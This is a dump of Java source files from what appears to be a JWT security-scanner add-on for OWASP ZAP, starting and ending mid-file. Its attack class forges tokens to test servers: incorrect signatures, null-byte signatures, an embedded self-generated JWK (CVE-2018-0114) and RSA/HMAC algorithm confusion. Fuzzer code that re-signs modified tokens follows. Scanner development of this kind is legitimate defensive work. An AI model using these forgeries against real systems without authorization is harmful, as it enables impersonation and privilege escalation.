143 | LOGGER.warn("An error occurred while getting signed manipulated tokens", e); 144 | } 145 | } 146 | } 147 | return false; 148 | } 149 | 150 | /** 151 | * Mis-matching the token signature and token data, to verify if the JWT implementation verifies 152 | * the signature properly. A malicious user can exploit this vulnerability by supplying an 153 | * arbitrary claim in the JWT payload to obtain new privileges or impersonate other users 154 | * 155 | * @throws JWTException 156 | */ 157 | private boolean executeIncorrectSignatureAttack() { 158 | try { 159 | JWTHolder cloneJWTHolder = new JWTHolder(this.serverSideAttack.getJwtHolder()); 160 | JSONObject payloadJSONObject = new JSONObject(cloneJWTHolder.getPayload()); 161 | payloadJSONObject.put( 162 | INCORRECT_SIGNATURE_PAYLOAD_KEY, INCORRECT_SIGNATURE_PAYLOAD_VALUE); 163 | cloneJWTHolder.setPayload(payloadJSONObject.toString()); 164 | 165 | if (this.serverSideAttack.getJwtActiveScanRule().isStop()) { 166 | return false; 167 | } 168 | 169 | if (verifyJWTToken(cloneJWTHolder.getBase64EncodedToken(), serverSideAttack)) { 170 | raiseAlert( 171 | MESSAGE_PREFIX, 172 | VulnerabilityType.INCORRECT_SIGNATURE, 173 | Alert.RISK_HIGH, 174 | Alert.CONFIDENCE_HIGH, 175 | cloneJWTHolder.getBase64EncodedToken(), 176 | serverSideAttack); 177 | return true; 178 | } 179 | return false; 180 | } catch (JSONException ex) { 181 | LOGGER.error("An error occurred while incorrect signature attack", ex); 182 | return false; 183 | } 184 | } 185 | 186 | /** 187 | * Adds Null Byte to the signature to checks if JWT is vulnerable to Null Byte injection. Main 188 | * gist of attack is say validator is vulnerable to null byte hence if anything is appended 189 | * after null byte will be ignored. 190 | * 191 | * @throws JWTException 192 | */ 193 | private boolean executeNullByteAttack() { 194 | // Appends signature with NullByte plus ZAP eyeCather. 195 | JWTHolder cloneJWTHolder = new JWTHolder(this.serverSideAttack.getJwtHolder()); 196 | if (this.serverSideAttack.getJwtActiveScanRule().isStop()) { 197 | return false; 198 | } 199 | 200 | if (verifyJWTToken( 201 | cloneJWTHolder.getBase64EncodedToken() 202 | + NULL_BYTE_CHARACTER 203 | + Constant.getEyeCatcher(), 204 | serverSideAttack)) { 205 | raiseAlert( 206 | MESSAGE_PREFIX, 207 | VulnerabilityType.NULL_BYTE, 208 | Alert.RISK_MEDIUM, 209 | Alert.CONFIDENCE_HIGH, 210 | cloneJWTHolder.getBase64EncodedToken(), 211 | serverSideAttack); 212 | return true; 213 | } 214 | 215 | if (this.serverSideAttack.getJwtActiveScanRule().isStop()) { 216 | return false; 217 | } 218 | 219 | // Replaces the signature with NullByte. Assumption is may be because of null bytes JWT 220 | // token validators behaves differently. 221 | cloneJWTHolder.setSignature(JWTUtils.getBytes(NULL_BYTE_CHARACTER)); 222 | if (verifyJWTToken(cloneJWTHolder.getBase64EncodedToken(), serverSideAttack)) { 223 | raiseAlert( 224 | MESSAGE_PREFIX, 225 | VulnerabilityType.NULL_BYTE, 226 | Alert.RISK_HIGH, 227 | Alert.CONFIDENCE_HIGH, 228 | cloneJWTHolder.getBase64EncodedToken(), 229 | serverSideAttack); 230 | return true; 231 | } 232 | return false; 233 | } 234 | 235 | private boolean signJWTAndExecuteAttack( 236 | JWSSigner jwsSigner, JSONObject headerJSONObject, JSONObject payloadJSONObject) 237 | throws JOSEException, ParseException { 238 | SignedJWT signedJWT = 239 | new SignedJWT( 240 | JWSHeader.parse(headerJSONObject.toString()), 241 | JWTClaimsSet.parse(payloadJSONObject.toString())); 242 | signedJWT.sign(jwsSigner); 243 | if (verifyJWTToken(signedJWT.serialize(), serverSideAttack)) { 244 | raiseAlert( 245 | MESSAGE_PREFIX, 246 | VulnerabilityType.JWK_CUSTOM_KEY, 247 | Alert.RISK_HIGH, 248 | Alert.CONFIDENCE_HIGH, 249 | signedJWT.serialize(), 250 | serverSideAttack); 251 | return true; 252 | } 253 | return false; 254 | } 255 | 256 | /** 257 | * Payload is as per the {@link https://nvd.nist.gov/vuln/detail/CVE-2018-0114} vulnerability 258 | * 259 | * @throws JWTException 260 | */ 261 | public boolean executeCustomPrivateKeySignedJWTTokenAttack() throws JWTException { 262 | JSONObject headerJSONObject = 263 | new JSONObject(this.serverSideAttack.getJwtHolder().getHeader()); 264 | JSONObject payloadJSONObject = 265 | new JSONObject(this.serverSideAttack.getJwtHolder().getPayload()); 266 | String algoType = this.serverSideAttack.getJwtHolder().getAlgorithm(); 267 | 268 | try { 269 | if (algoType.startsWith(JWT_RSA_ALGORITHM_IDENTIFIER) 270 | || algoType.startsWith(JWT_RSA_PSS_ALGORITHM_IDENTIFIER)) { 271 | if (this.serverSideAttack.getJwtActiveScanRule().isStop()) { 272 | return false; 273 | } 274 | // Generating JWK 275 | RSAKeyGenerator rsaKeyGenerator = new RSAKeyGenerator(2048); 276 | rsaKeyGenerator.algorithm(JWSAlgorithm.parse(algoType)); 277 | RSAKey rsaKey = rsaKeyGenerator.generate(); 278 | 279 | headerJSONObject.put(JSON_WEB_KEY_HEADER, rsaKey.toPublicJWK().toJSONObject()); 280 | if (signJWTAndExecuteAttack( 281 | new RSASSASigner(rsaKey), headerJSONObject, payloadJSONObject)) { 282 | return true; 283 | } 284 | } else if (algoType.startsWith(JWT_EC_ALGORITHM_IDENTIFIER) 285 | || algoType.startsWith(JWT_OCTET_ALGORITHM_IDENTIFIER)) { 286 | for (Curve curve : Curve.forJWSAlgorithm(JWSAlgorithm.parse(algoType))) { 287 | if (curve == null) { 288 | continue; 289 | } 290 | if (this.serverSideAttack.getJwtActiveScanRule().isStop()) { 291 | return false; 292 | } 293 | // Generating JWK 294 | JWSSigner jwsSigner = null; 295 | if (algoType.startsWith(JWT_EC_ALGORITHM_IDENTIFIER)) { 296 | ECKeyGenerator ecKeyGenerator = new ECKeyGenerator(curve); 297 | ecKeyGenerator.algorithm(JWSAlgorithm.parse(algoType)); 298 | ECKey ecKey = ecKeyGenerator.generate(); 299 | headerJSONObject.put( 300 | JSON_WEB_KEY_HEADER, ecKey.toPublicJWK().toJSONObject()); 301 | jwsSigner = new ECDSASigner(ecKey); 302 | } else { 303 | OctetKeyPairGenerator octetKeyPairGenerator = 304 | new OctetKeyPairGenerator(curve); 305 | octetKeyPairGenerator.algorithm(JWSAlgorithm.parse(algoType)); 306 | OctetKeyPair octetKey = octetKeyPairGenerator.generate(); 307 | headerJSONObject.put( 308 | JSON_WEB_KEY_HEADER, octetKey.toPublicJWK().toJSONObject()); 309 | jwsSigner = new Ed25519Signer(octetKey); 310 | } 311 | if (this.signJWTAndExecuteAttack( 312 | jwsSigner, headerJSONObject, payloadJSONObject)) { 313 | return true; 314 | } 315 | } 316 | } 317 | } catch (JOSEException | ParseException e) { 318 | throw new JWTException("Following exception occurred:", e); 319 | } 320 | return false; 321 | } 322 | 323 | /** 324 | * Background about the attack:
      325 | * Say an application is using RSA to sign JWT now what will be the verification method {@code 326 | * verify(String jwtToken, byte[] key); } 327 | * 328 | *

      Now if application is using RSA then for verification RSA public key will be used and in 329 | * case jwttoken is based on HMAC algorithm then verify method will think key as Secret key for 330 | * HMAC and will try to decrypt it and as public key is known to everyone so anyone can sign the 331 | * key with public key and HMAC will accept it. 332 | * 333 | * @throws JWTException if provided keystore is not valid. 334 | */ 335 | private boolean executeAlgoKeyConfusionAttack() throws JWTException { 336 | try { 337 | KeyStore keyStore = KeyStore.getInstance("PKCS12"); 338 | String trustStorePath = JWTConfiguration.getInstance().getTrustStorePath(); 339 | if (StringUtils.isEmpty(trustStorePath)) { 340 | trustStorePath = System.getProperty("javax.net.ssl.trustStore"); 341 | } 342 | if (StringUtils.isNotEmpty(trustStorePath)) { 343 | String algoType = this.serverSideAttack.getJwtHolder().getAlgorithm(); 344 | if (algoType.startsWith(JWT_RSA_ALGORITHM_IDENTIFIER)) { 345 | String newJwtHeader = String.format(JWT_HEADER_WITH_ALGO_PLACEHOLDER, HMAC_256); 346 | String base64EncodedNewHeaderAndPayload = 347 | JWTUtils.getBase64UrlSafeWithoutPaddingEncodedString(newJwtHeader) 348 | + JWT_TOKEN_PERIOD_CHARACTER 349 | + JWTUtils.getBase64UrlSafeWithoutPaddingEncodedString( 350 | this.serverSideAttack.getJwtHolder().getPayload()); 351 | char[] password = 352 | JWTConfiguration.getInstance().getTrustStorePassword().toCharArray(); 353 | try (FileInputStream fileInputStream = new FileInputStream(trustStorePath)) { 354 | keyStore.load(fileInputStream, password); 355 | while (keyStore.aliases().hasMoreElements()) { 356 | if (this.serverSideAttack.getJwtActiveScanRule().isStop()) { 357 | return false; 358 | } 359 | String alias = keyStore.aliases().nextElement(); 360 | Certificate certificate = keyStore.getCertificate(alias); 361 | if (certificate != null) { 362 | Key publicKey = certificate.getPublicKey(); 363 | JWTHolder clonedJWTHolder = 364 | JWTHolder.parseJWTToken( 365 | JWTUtils.getBase64EncodedHMACSignedToken( 366 | JWTUtils.getBytes( 367 | base64EncodedNewHeaderAndPayload), 368 | publicKey.getEncoded(), 369 | HMAC_256)); 370 | if (verifyJWTToken( 371 | clonedJWTHolder.getBase64EncodedToken(), 372 | serverSideAttack)) { 373 | raiseAlert( 374 | MESSAGE_PREFIX, 375 | VulnerabilityType.ALGORITHM_CONFUSION, 376 | Alert.RISK_HIGH, 377 | Alert.CONFIDENCE_HIGH, 378 | clonedJWTHolder.getBase64EncodedToken(), 379 | serverSideAttack); 380 | return true; 381 | } 382 | } 383 | } 384 | } 385 | } 386 | } 387 | } catch (KeyStoreException 388 | | NoSuchAlgorithmException 389 | | CertificateException 390 | | IOException e) { 391 | throw new JWTException( 392 | "An exception occurred while getting manipulated token for confusion scenario", 393 | e); 394 | } 395 | return false; 396 | } 397 | 398 | @Override 399 | public boolean executeAttack(ServerSideAttack serverSideAttack) { 400 | this.serverSideAttack = serverSideAttack; 401 | try { 402 | return this.executeCustomPrivateKeySignedJWTTokenAttack() 403 | || this.executeIncorrectSignatureAttack() 404 | || this.executeAlgoKeyConfusionAttack() 405 | || this.executeNullByteAttack() 406 | || this.executePubliclyWellKnownHMacSecretAttack(); 407 | } catch (JWTException e) { 408 | LOGGER.error("An error occurred while getting signed manipulated tokens", e); 409 | } 410 | return false; 411 | } 412 | } 413 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/exception/JWTException.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.exception; 15 | 16 | /** 17 | * @author KSASAN preetkaran20@gmail.com 18 | * @since TODO add version 19 | */ 20 | public class JWTException extends Exception { 21 | 22 | private static final long serialVersionUID = 372527297369183960L; 23 | 24 | public JWTException(String message) { 25 | super(message); 26 | } 27 | 28 | public JWTException(String message, Throwable throwable) { 29 | super(message, throwable); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/fuzzer/messagelocations/FuzzerJWTSignatureOperation.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.fuzzer.messagelocations; 15 | 16 | import org.zaproxy.zap.extension.jwt.JWTI18n; 17 | 18 | /** 19 | * This class represents the operation on JWT Signature after fuzzing the {@code Headers} and {@code 20 | * Payload} fields.
      21 | * Following are the operations on the Signatures: 22 | * 23 | *

        24 | *
      1. Either no signature component will be added to JWT e.g. in case of {@code None} hashing 25 | * algorithm we don't require the signature component. 26 | *
      2. Generating new signature for the fuzzed token. This is useful for finding vulnerabilities 27 | * in JWT fields where say a field value cause {@code SQLInjection} kind of vulnerabilities. 28 | *
      3. Using the same old signature for the fuzzed JWT too. 29 | *
      30 | * 31 | * @author preetkaran20@gmail.com KSASAN 32 | */ 33 | public enum FuzzerJWTSignatureOperation { 34 | 35 | /** No {@code Signature} component. */ 36 | NO_SIGNATURE("jwt.fuzzer.signature.operation.nosignature"), 37 | 38 | /** New {@code Signature} component needs to be generated and appended with fuzzed token. */ 39 | NEW_SIGNATURE("jwt.fuzzer.signature.operation.newsignature"), 40 | 41 | /** Same {@code Signature} component appended to fuzzed token. */ 42 | SAME_SIGNATURE("jwt.fuzzer.signature.operation.samesignature"); 43 | 44 | private String labelKey; 45 | 46 | private FuzzerJWTSignatureOperation(String labelKey) { 47 | this.labelKey = labelKey; 48 | } 49 | 50 | @Override 51 | public String toString() { 52 | return JWTI18n.getResourceBundle().getString(labelKey); 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/fuzzer/messagelocations/JWTMessageLocation.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.fuzzer.messagelocations; 15 | 16 | import java.io.Serializable; 17 | import org.parosproxy.paros.network.HttpMessage; 18 | import org.zaproxy.zap.model.DefaultTextHttpMessageLocation; 19 | import org.zaproxy.zap.model.MessageLocation; 20 | 21 | /** 22 | * {@code JWTMessageLocation} represent the JWT location in {@link HttpMessage}. As JWT is a 23 | * combination of 3 components i.e. {@code Header}, {@code Payload} and {@code Signature}. All three 24 | * components are base64 Url encoded, where {@code Header} is {@code JSON object} and {@code 25 | * Payload} can be a JSON component but {@code Signature} is binary component. 26 | * 27 | *

      So JWT value cannot be fuzzed/replaced with some other value directly, we need to fuzz the 28 | * {@code JSON object} which {@code Header} and {@code Payload} represents. 29 | * 30 | *

      Hence this {@code JWTMessageLocation} contains {@code key} field which is {@code JSON object's 31 | * key} to be fuzzed and {@code isHeaderField} holds the information about where does the {@code 32 | * JSON object's key} resides i.e. in {@code Header} or {@code Payload} 33 | * 34 | * @author preetkaran20@gmail.com KSASAN 35 | */ 36 | public class JWTMessageLocation extends DefaultTextHttpMessageLocation implements Serializable { 37 | 38 | private static final long serialVersionUID = 1L; 39 | 40 | /** JSON Object's Key field */ 41 | private String key; 42 | 43 | /** 44 | * If {@code key} field is present in JWT {@code Header} Component or {@code Payload} Component. 45 | */ 46 | private boolean isHeaderField; 47 | 48 | /** {@code Signature} Operation after fuzzing JWT */ 49 | private FuzzerJWTSignatureOperation fuzzerJWTSignatureOperation; 50 | 51 | /** 52 | * @param location in {@code HttpMessage} i.e. Request's Header/Body or Response's Header/Body 53 | * @param start index of JWT in {@code HttpMessage} 54 | * @param end index of JWT in {@code HttpMessage} 55 | * @param value JWT value 56 | * @param key JSON Object's Key field 57 | * @param isHeaderOrPayload provided {@param key} is present in Header component or not. 58 | * @param fuzzerJWTSignatureOperation JWT signature operation 59 | */ 60 | public JWTMessageLocation( 61 | Location location, 62 | int start, 63 | int end, 64 | String value, 65 | String key, 66 | boolean isHeaderOrPayload, 67 | FuzzerJWTSignatureOperation fuzzerJWTSignatureOperation) { 68 | super(location, start, end, value); 69 | this.key = key; 70 | this.isHeaderField = isHeaderOrPayload; 71 | this.fuzzerJWTSignatureOperation = fuzzerJWTSignatureOperation; 72 | } 73 | 74 | /** 75 | * @return JSON Object's Key field 76 | */ 77 | public String getKey() { 78 | return key; 79 | } 80 | 81 | /** 82 | * @param key JSON Object's Key field 83 | */ 84 | public void setKey(String key) { 85 | this.key = key; 86 | } 87 | 88 | /** 89 | * @return true of Key field is present in Header 90 | */ 91 | public boolean isHeaderField() { 92 | return isHeaderField; 93 | } 94 | 95 | /** 96 | * @param isHeaderField 97 | */ 98 | public void setHeaderField(boolean isHeaderField) { 99 | this.isHeaderField = isHeaderField; 100 | } 101 | 102 | /** 103 | * @return FuzzerJWTSignatureOperation 104 | */ 105 | public FuzzerJWTSignatureOperation getFuzzerJWTSignatureOperation() { 106 | return fuzzerJWTSignatureOperation; 107 | } 108 | 109 | /** 110 | * @param fuzzerJWTSignatureOperation 111 | */ 112 | public void setFuzzerJWTSignatureOperation( 113 | FuzzerJWTSignatureOperation fuzzerJWTSignatureOperation) { 114 | this.fuzzerJWTSignatureOperation = fuzzerJWTSignatureOperation; 115 | } 116 | 117 | @Override 118 | public int hashCode() { 119 | final int prime = 31; 120 | int result = super.hashCode(); 121 | result = prime * result + (isHeaderField ? 1231 : 1237); 122 | result = prime * result + ((key == null) ? 0 : key.hashCode()); 123 | return result; 124 | } 125 | 126 | @Override 127 | public boolean equals(Object obj) { 128 | if (this == obj) return true; 129 | if (!super.equals(obj)) return false; 130 | if (getClass() != obj.getClass()) return false; 131 | JWTMessageLocation other = (JWTMessageLocation) obj; 132 | if (isHeaderField != other.isHeaderField) return false; 133 | if (key == null) { 134 | if (other.key != null) return false; 135 | } else if (!key.equals(other.key)) return false; 136 | return true; 137 | } 138 | 139 | @Override 140 | public int compareTo(MessageLocation otherLocation) { 141 | if (!(otherLocation instanceof JWTMessageLocation)) { 142 | return 1; 143 | } 144 | JWTMessageLocation that = (JWTMessageLocation) otherLocation; 145 | 146 | int result = Boolean.compare(that.isHeaderField, this.isHeaderField); 147 | if (result != 0) { 148 | return result; 149 | } 150 | 151 | result = this.key.compareTo(that.key); 152 | if (result != 0) { 153 | return result; 154 | } 155 | return super.compareTo(otherLocation); 156 | } 157 | 158 | @Override 159 | public boolean overlaps(MessageLocation otherLocation) { 160 | return this.equals(otherLocation); 161 | } 162 | } 163 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/fuzzer/messagelocations/JWTMessageLocationReplacer.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.fuzzer.messagelocations; 15 | 16 | import java.util.SortedSet; 17 | import org.json.JSONObject; 18 | import org.parosproxy.paros.network.HttpMalformedHeaderException; 19 | import org.parosproxy.paros.network.HttpMessage; 20 | import org.zaproxy.zap.extension.fuzz.messagelocations.MessageLocationReplacement; 21 | import org.zaproxy.zap.extension.fuzz.messagelocations.MessageLocationReplacer; 22 | import org.zaproxy.zap.extension.jwt.JWTConfiguration; 23 | import org.zaproxy.zap.extension.jwt.JWTHolder; 24 | import org.zaproxy.zap.extension.jwt.exception.JWTException; 25 | import org.zaproxy.zap.extension.jwt.utils.JWTConstants; 26 | import org.zaproxy.zap.extension.jwt.utils.JWTUtils; 27 | import org.zaproxy.zap.model.InvalidMessageException; 28 | import org.zaproxy.zap.model.MessageLocation; 29 | 30 | /** 31 | * {@code JWTMessageLocationReplacer} is used to replace the {@link JWTMessageLocation} present in 32 | * {@link HttpMessage} with the fuzzed value/replacement. 33 | * 34 | * @author preetkaran20@gmail.com KSASAN 35 | */ 36 | public class JWTMessageLocationReplacer implements MessageLocationReplacer { 37 | 38 | private HttpMessage message; 39 | 40 | @Override 41 | public boolean supports(MessageLocation location) { 42 | return supports(location.getClass()); 43 | } 44 | 45 | @Override 46 | public boolean supports(Class classLocation) { 47 | return JWTMessageLocation.class.isAssignableFrom(classLocation); 48 | } 49 | 50 | @Override 51 | public void init(HttpMessage message) { 52 | this.message = message.cloneAll(); 53 | } 54 | 55 | @Override 56 | public HttpMessage replace(SortedSet> replacements) 57 | throws InvalidMessageException { 58 | if (message == null) { 59 | throw new IllegalStateException("Replacer not initialised."); 60 | } 61 | 62 | Replacer requestHeaderReplacement = null; 63 | Replacer requestBodyReplacement = null; 64 | 65 | Replacer currentReplacement = null; 66 | for (MessageLocationReplacement replacement : replacements) { 67 | MessageLocation location = replacement.getMessageLocation(); 68 | if (!(location instanceof JWTMessageLocation)) { 69 | continue; 70 | } 71 | 72 | JWTMessageLocation jwtMessageLocation = (JWTMessageLocation) location; 73 | switch (jwtMessageLocation.getLocation()) { 74 | case REQUEST_HEADER: 75 | if (requestHeaderReplacement == null) { 76 | requestHeaderReplacement = 77 | new Replacer( 78 | message.getRequestHeader().toString(), jwtMessageLocation); 79 | } 80 | currentReplacement = requestHeaderReplacement; 81 | break; 82 | case REQUEST_BODY: 83 | if (requestBodyReplacement == null) { 84 | requestBodyReplacement = 85 | new Replacer( 86 | message.getRequestBody().toString(), jwtMessageLocation); 87 | } 88 | currentReplacement = requestBodyReplacement; 89 | break; 90 | default: 91 | currentReplacement = null; 92 | } 93 | 94 | if (currentReplacement != null) { 95 | currentReplacement.replace( 96 | jwtMessageLocation, replacement.getReplacement().toString()); 97 | } 98 | } 99 | 100 | HttpMessage replacedMessage = message.cloneAll(); 101 | if (requestHeaderReplacement != null) { 102 | try { 103 | replacedMessage.setRequestHeader(requestHeaderReplacement.getReplacedValue()); 104 | } catch (HttpMalformedHeaderException | JWTException e) { 105 | throw new InvalidMessageException(e); 106 | } 107 | } 108 | 109 | if (requestBodyReplacement != null) { 110 | try { 111 | replacedMessage.setRequestBody(requestBodyReplacement.getReplacedValue()); 112 | } catch (JWTException e) { 113 | throw new InvalidMessageException(e); 114 | } 115 | } 116 | 117 | return replacedMessage; 118 | } 119 | 120 | private static class Replacer { 121 | 122 | private StringBuilder value; 123 | private int offset; 124 | private JWTHolder jwtHolder; 125 | private FuzzerJWTSignatureOperation fuzzerJWTSignatureOperation; 126 | private JWTMessageLocation jwtMessageLocation; 127 | 128 | /** 129 | * This constructor accepts the {@code JWTMessageLocation} to use the common properties 130 | * which are same for all the {@code JWTMessageLocation}s like JWT and Signature Operation. 131 | * 132 | * @param originalValue 133 | * @param jwtMessageLocation 134 | * @throws InvalidMessageException 135 | */ 136 | private Replacer(String originalValue, JWTMessageLocation jwtMessageLocation) 137 | throws InvalidMessageException { 138 | value = new StringBuilder(originalValue); 139 | try { 140 | this.jwtHolder = JWTHolder.parseJWTToken(jwtMessageLocation.getValue()); 141 | this.jwtMessageLocation = jwtMessageLocation; 142 | this.fuzzerJWTSignatureOperation = 143 | jwtMessageLocation.getFuzzerJWTSignatureOperation(); 144 | } catch (JWTException e) { 145 | throw new InvalidMessageException(e); 146 | } 147 | } 148 | 149 | /** 150 | * This method is used to replace the value (Request's {@code Header} or {@code Body}) with 151 | * the provided fuzzed values at location specified by {@code JWTMessageLocation}. This 152 | * method picks the JSON Key field and its location i.e. in JWT's {@code Header} or {@code 153 | * Payload} from provided {@param jwtMessageLocation} and then modified the JWT Holder which 154 | * is common for all the {@code JWTMessageLocation}'s. 155 | * 156 | * @param jwtMessageLocation JWTMessageLocation which represents the modification/fuzzer 157 | * strategy 158 | * @param value Fuzzed value to replace the original JSON Key field's value present in JWT. 159 | */ 160 | public void replace(JWTMessageLocation jwtMessageLocation, String value) { 161 | boolean isHeaderField = jwtMessageLocation.isHeaderField(); 162 | String key = jwtMessageLocation.getKey(); 163 | JSONObject jsonObject; 164 | if (isHeaderField) { 165 | jsonObject = new JSONObject(this.jwtHolder.getHeader()); 166 | } else { 167 | jsonObject = new JSONObject(this.jwtHolder.getPayload()); 168 | } 169 | jsonObject.remove(key); 170 | jsonObject.put(key, value); 171 | if (isHeaderField) { 172 | jwtHolder.setHeader(jsonObject.toString()); 173 | } else { 174 | jwtHolder.setPayload(jsonObject.toString()); 175 | } 176 | } 177 | 178 | /** 179 | * After all the modification done to {@code JWTHolder} by {@link 180 | * this#replace(JWTMessageLocation, String)} method, this method is used to sign fuzzed 181 | * {@code JWT} using the strategy provided by by {@code FuzzerJWTSignatureOperation} and the 182 | * replacing original {@code JWT} with Fuzzed {@code JWT}. 183 | * 184 | * @return fuzzed value (Request's {@code Header} or {@code Body}) after replacing JWT 185 | * present in originalValue (Original Request's {@code Header} or {@code body}) with 186 | * fuzzed JWT. 187 | * @throws JWTException is thrown if algorithm to sign the fuzzed token is unsupported or 188 | * invalid. 189 | */ 190 | public String getReplacedValue() throws JWTException { 191 | String jwtToken = null; 192 | if (this.fuzzerJWTSignatureOperation.equals(FuzzerJWTSignatureOperation.NO_SIGNATURE)) { 193 | jwtHolder.setSignature(JWTUtils.getBytes("")); 194 | jwtToken = jwtHolder.getBase64EncodedToken(); 195 | } else if (this.fuzzerJWTSignatureOperation.equals( 196 | FuzzerJWTSignatureOperation.NEW_SIGNATURE)) { 197 | String algorithm = jwtHolder.getAlgorithm(); 198 | if (algorithm.startsWith(JWTConstants.JWT_HMAC_ALGORITHM_IDENTIFIER)) { 199 | jwtToken = 200 | JWTUtils.getBase64EncodedHMACSignedToken( 201 | JWTUtils.getBytes( 202 | jwtHolder.getBase64EncodedTokenWithoutSignature()), 203 | JWTUtils.getBytes( 204 | JWTConfiguration.getInstance().getHMacSignatureKey()), 205 | algorithm); 206 | } else if (algorithm.startsWith(JWTConstants.JWT_RSA_ALGORITHM_IDENTIFIER)) { 207 | jwtToken = 208 | JWTUtils.getBase64EncodedRSSignedToken( 209 | jwtHolder, 210 | JWTUtils.getRSAPrivateKeyFromProvidedPEMFilePath( 211 | JWTConfiguration.getInstance() 212 | .getRsaPrivateKeyFileChooserPath())); 213 | } else { 214 | throw new JWTException("Unsupported Algorithm type: " + algorithm); 215 | } 216 | } 217 | if (jwtToken != null) { 218 | this.value.replace( 219 | offset + jwtMessageLocation.getStart(), 220 | offset + jwtMessageLocation.getEnd(), 221 | jwtToken.trim()); 222 | offset += 223 | value.length() 224 | - (jwtMessageLocation.getEnd() - jwtMessageLocation.getStart()); 225 | } 226 | return this.value.toString(); 227 | } 228 | } 229 | } 230 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/fuzzer/messagelocations/JWTMessageLocationReplacerFactory.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.fuzzer.messagelocations; 15 | 16 | import org.parosproxy.paros.network.HttpMessage; 17 | import org.zaproxy.zap.extension.fuzz.messagelocations.MessageLocationReplacer; 18 | import org.zaproxy.zap.extension.fuzz.messagelocations.MessageLocationReplacerFactory; 19 | import org.zaproxy.zap.model.MessageLocation; 20 | 21 | /** 22 | * {@code JWTMessageLocationReplacerFactory} provides the instance of {@link 23 | * JWTMessageLocationReplacer} 24 | * 25 | * @author preetkaran20@gmail.com KSASAN 26 | */ 27 | public class JWTMessageLocationReplacerFactory 28 | implements MessageLocationReplacerFactory { 29 | 30 | @Override 31 | public Class getTargetMessageLocation() { 32 | return JWTMessageLocation.class; 33 | } 34 | 35 | @Override 36 | public MessageLocationReplacer createReplacer() { 37 | return new JWTMessageLocationReplacer(); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/fuzzer/ui/GenericCriteriaBasedMessageLocationProducerFocusListenerAdapter.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.fuzzer.ui; 15 | 16 | import java.awt.event.FocusEvent; 17 | import java.util.function.Supplier; 18 | import org.zaproxy.zap.view.messagelocation.MessageLocationProducer; 19 | import org.zaproxy.zap.view.messagelocation.MessageLocationProducerFocusListenerAdapter; 20 | 21 | /** 22 | * This class is the generic criteria based {@code FocusListener} adapter. This is an extension to 23 | * {@link MessageLocationProducerFocusListenerAdapter} where this can be used to listen to changes 24 | * in focus of {@code MessageLocationProducer}s and propagate the event if provided criteria is 25 | * fulfilled. 26 | * 27 | * @author preetkaran20@gmail.com KSASAN 28 | */ 29 | public class 